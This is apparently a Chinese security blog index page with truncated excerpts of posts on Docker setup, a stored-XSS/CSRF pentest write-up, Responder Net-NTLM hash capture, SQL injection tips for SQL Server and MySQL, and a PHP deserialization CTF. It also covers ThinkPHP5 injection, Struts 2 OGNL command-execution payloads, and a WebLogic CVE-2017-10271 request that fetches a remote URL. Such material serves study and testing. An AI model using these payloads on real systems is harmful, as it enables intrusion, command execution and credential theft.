使用docker-compose构造LAMP环境

0x00 实现功能 使用docker-compose构造LAMP环境,其中mysql数据库、mysql配置文件、网站文件均持久化存储到本机。 apache、php通过Dockerfile构造,Dockerfile拉取ubuntu镜像,然后安装apache2和php。 mysql的话通过docker的links连接mysql:5.5这个镜像当作数据库。 具体文件参见:https://github.com/reber0/docker_env 0x01 文件构造 ➜ tree apache apache ├── Dockerfile ├── conf │ └── my.cnf ├── docker-compose.yml ├── mysql ├── src │ ├── init.sh │ └── sources.list └── web └── index.php 4 directories, 6 files 0x02 docker-compose.yml version: '3' services: apache: image: ubuntu:apache #镜像名为ubuntu,tag为apache container_name: apache #运行后生成的容器名字为apache build: . #使用当前路径下的Dockerfile构造镜像 ports: - "81:80" volumes: - ./www:/var/www/html links: - mymysql environment: #设置环境变量 - TZ=Asia/Shanghai #设定时区 restart: always #容器重启策略:当容器终止退出后,总是重启容器,默认策略。 mymysql: image: mysql:5.


Docker之Docker Compose

0x00 关于docker compose 可以把docker-compose当作docker命令的封装,它是一个用来把 docker 自动化的东西,docker-compose可以一次性管理多个容器,通常用于需要多个容器相互配合来完成某项任务的场景。 0x01 安装与卸载 https://docs.docker.com/compose/install 0x02 一些常用命令 构建容器:docker-compose up -d 启动容器:docker-compose start 停止容器:docker-compose stop 重启容器:docker-compose restart kill容器:docker-compose kill 删除容器:docker-compose rm bash连接容器:docker-compose exec [services_name] bash 执行一条命令:docker-compose run [services_name] [command] 0x03 docker-compose简单应用 结构 . ├── Dockerfile ├── docker-compose.yml └── src ├── app.py └── sources.list 1 directory, 4 files Dockerfile FROM ubuntu:14.04.4 MAINTAINER reber <1070018473@qq.com> COPY ./src /code #将data挂载到容器的code WORKDIR /code RUN cp sources.list /etc/apt/sources.


记一次渗透测试中利用存储型XSS添加用户

0x00 简单查看 拿到目标后简单看了下,是一个类似员工管理的东西,用户可以创建group,其他用户可以搜索这个group然后申请加入 每个账号都可以注册组织,然后让别人加入,加入的用户有创建者、管理员、默认成员3个角色,管理员拥有的权限就比较大了,可以查看通讯录、添加成员、删除成员等等 0x01 申请加入组织流程分析 走了一遍流程,注册了两个账号,一个是reber,一个是yxk 在加入某组织时会让填验证信息,组织收到申请后同意然后把用户添加到某个分组然后确定 流程大概分4步,用户申请加入group、管理员点击同意、管理员关联用户到分组或成员、确定同意用户的申请 用户reber搜索组织,然后提交验证消息 用户yxk在消息列表同意reber的申请 yxk给reber分组,点击下一步 最后一步写入备注信息,点击同意按钮最终同意用户加入 0x02 请求链接分析 经过对上面流程的抓包分析测试,涉及到的有用请求有3个:管理员点击同意链接时的请求、关联到分组或成员的请求、确定同意的请求 用户申请加入某group时发送的数据包如下: API:/a/cms/org/applyorg POST:verification=11111&orgId=247173 group管理员同意用户申请时链接如下: API:/a/cms/apply/handle-accept?id=6de027c0-9a4f-490e-a5e2-d1c76cd34a70&oid=247178&name=1760048**** 这里链接里有一个id,经过抓包发现可以通过/a/cms/apply/applymsg这个接口直接得到同意申请时的链接 将申请用户关联到分组或成员涉及到如下数据包: API:/a/cms/apply/do.handle POST:ID=80b49e8f-4e8c-450f-8bf4-eb809271e779&OID=247178&GID=608863&MID=0&Agree=true&Reason=111 可以看到,上面的请求链接中都没有token,存在CSRF,就猜想能不能构造上述请求从而通过XSS和CSRF来做一些事情 0x03 构造直接添加用户到group的js 由于cookie设置了httponly,不能获取到完整的cookie,所以这里尝试写js代码,实现将用户直接加入group的功能 看了上面的请求包分析后发现,如果要构造数据包实现我们的想法的话需要有:ID、OID、GID这3个id 分析后发现在/a/cms/apply/applymsg请求的返回包中有同意的链接,链接中有ID 分析后发现在/a/cms/group/treeNode请求的返回包中有OID和GID 于是用于XSS的1.js内容构造如下: //因为这里要把ajax的返回值return到函数中,需要是同步请求,所以async要设为false function get_agree_url(){//得到管理员同意用户申请的链接 var agree_url; var href; $.ajax({ type: 'get', url: '/a/cms/apply/applymsg', async: false, success: function(data){ $(data).find('#accept').each(function(index,element){ href = $(this).attr('href'); if (/id=.


内网渗透之Responder与Net-NTML hash

0x00 一些概念 Windows认证协议 分为:基于NTML的认证和基于kerberos的认证 什么是NTLM Hash? 早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash 什么是Challenge-Response挑战/响应验证机制? Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到 DC DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证 NTLM Hash与Net-NTLM Hash NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash 关于Responder 由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。 什么是NTLM中继攻击? 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。 0x01 软件环境 可以从https://github.com/lgandx/Responder下载Responder 域内主机:Win7(10.11.11.20) 域控主机:Win2008(10.11.11.18) 被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段 0x02 通过SMB服务获取Net-NTLM hash 对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash net.exe use \\host\share attrib.exe \\host\share bcdboot.exe \\host\share bdeunlock.


SQL注入tips(SQL Server)

0x00 基础信息探测 @@VERSION,@@SERVERNAME,@@SERVICENAME; --Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008 --MSSQLSERVER USER,CURRENT_USER,SESSION_USER,SYSTEM_USER; --dbo --dbo --dbo --sa USER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME(); --dbo --wyb --46530 --sa USER_ID(),USER_SID(); --1 --<01> ORIGINAL_LOGIN(); --sa 0x01 UNION query & error-based 注入 判断存在注入 and 1=1/and 1=2 select * from msg where id=1 and 11=(select case when(1=1) then 11 else 2 end); select * from msg where id=1 and 11=(select case when(1=2) then 11 else 2 end); 判断是否为sa权限 select name from msg where id=1 and 1=convert(int,(select is_srvrolemember('sysadmin'))); 得到所有数据库名字 --报错得到数据库名,前6个是系统自带的数据库,所以从第7个开始,dbid依次增加即可得到所有数据库 select id,name from msg where id=1 and 0<>(select name from master.


关于 PHP SESSION 反序列化

0x00 环境 公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。 其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题 我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。 reber@wyb:~$ html cat /proc/version Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 reber@wyb:~$ html php --version PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb 9 2017 20:54:58) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies reber@ubuntu-linux:~$ apachectl -v Server version: Apache/2.


Struts 2相关漏洞payload

0x00 S2-001 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 0x01 S2-005 影响版本: 2.0.0 - 2.1.8.1 http://aa.com/index.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 0x02 S2-007 影响版本: 2.0.0 - 2.2.3 当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' 0x03 S2-012 影响版本: 2.1.0 - 2.3.13 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 %{#a=(new java.lang.ProcessBuilder(new java.


SQL注入tips(MySQL)

环境:MySQL 5.5.47 0x00 注入点在Order by后面 mysql> select id,name,content from msg where id>1 order by id into outfile 'C:\\Apps\\phpStudy\\WWW\\a.txt'; Query OK, 1 row affected (0.01 sec) mysql> select id,name,content from msg where id>1 order by updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~msg~' mysql> select id,name,content from msg where id>1 order by name procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1); ERROR 1105 (HY000): XPATH syntax error: '~rtest~' mysql> select name from msg where id>1 order by if(1=1,1,(select 1 union select 2)); +----------+ | name | +----------+ | xiaohong | +----------+ 1 row in set (0.


ThinkPHP5的where函数

0x00 关于thinkphp5的where函数 年前公司委托别的公司开发一个网站,使用的是ThinkPHP 5.0.13,存在一个注入漏洞,分析后发现是因为tp5中的where函数使用不当,tp5中where这个函数可以接收字符串和数组这两种类型的参数来进行查询,而在用字符串这种传递方式时,如果使用不当的话就可能会出现sql注入。 0x01 示例代码 tp5/application/home/controller/Index.php <?php namespace app\home\controller; use think\Db; class Index { //http://127.0.0.1/Source/tp5/home/index/testdb/id/1 public function testDb() { // 调用 tp5/thinkphp/library/think/Db.php 的 connect() 函数 初始化数据库,并取得数据库类实例 $msg = db('msg'); $id = input('param.id',1); //不存在id的话默认为1 //在Db.php中use think\db\Query; $msg->where()则调用了Query.php中的where函数进入查询流程 $result = $msg->where("id=".$id)->select(); // $result = $msg->where(['id'=>$id])->select(); echo '<br/><hr/>执行的sql语句:'; echo $msg->getLastSql(); echo '<br/>最终得到的结果:'; echo var_dump($result); } } where函数接收字符串和数组时,访问http://127.0.0.1/Source/tp5/home/index/testdb/id/1执行的SQL语句分别如下: SELECT * FROM `msg` WHERE ( id=1 ) SELECT * FROM `msg` WHERE `id` = 1 前者存在注入,当payload为: ) and 1=1 and (1)=(1时判断返回如下: 主要调用文件及函数顺序如下:


WebLogic 反序列化漏洞(CVE-2017-10271)

0x00 WebLogic WLS组件反序列化漏洞 这个漏洞的编号是 CVE-2017-10271,漏洞存在于 Oracle WebLogic 的 wls-wsat 组件中,该组件的 XMLDecoder 方法在反序列化时存在漏洞可远程代码执行,凡是版本号 < 10.3.6 的都受到影响,刚出来时没有看,现在记录一下 漏洞环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 0x01 访问远程文件 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 688 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <object id="url" class="java.net.URL"> <string>http://114.115.123.123:80/aaaaaaa</string> </object> <object idref="url"> <void id="stream" method = "openStream" /> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 0x02 写入文件 POST /wls-wsat/CoordinatorPortType HTTP/1.

可以返回顶部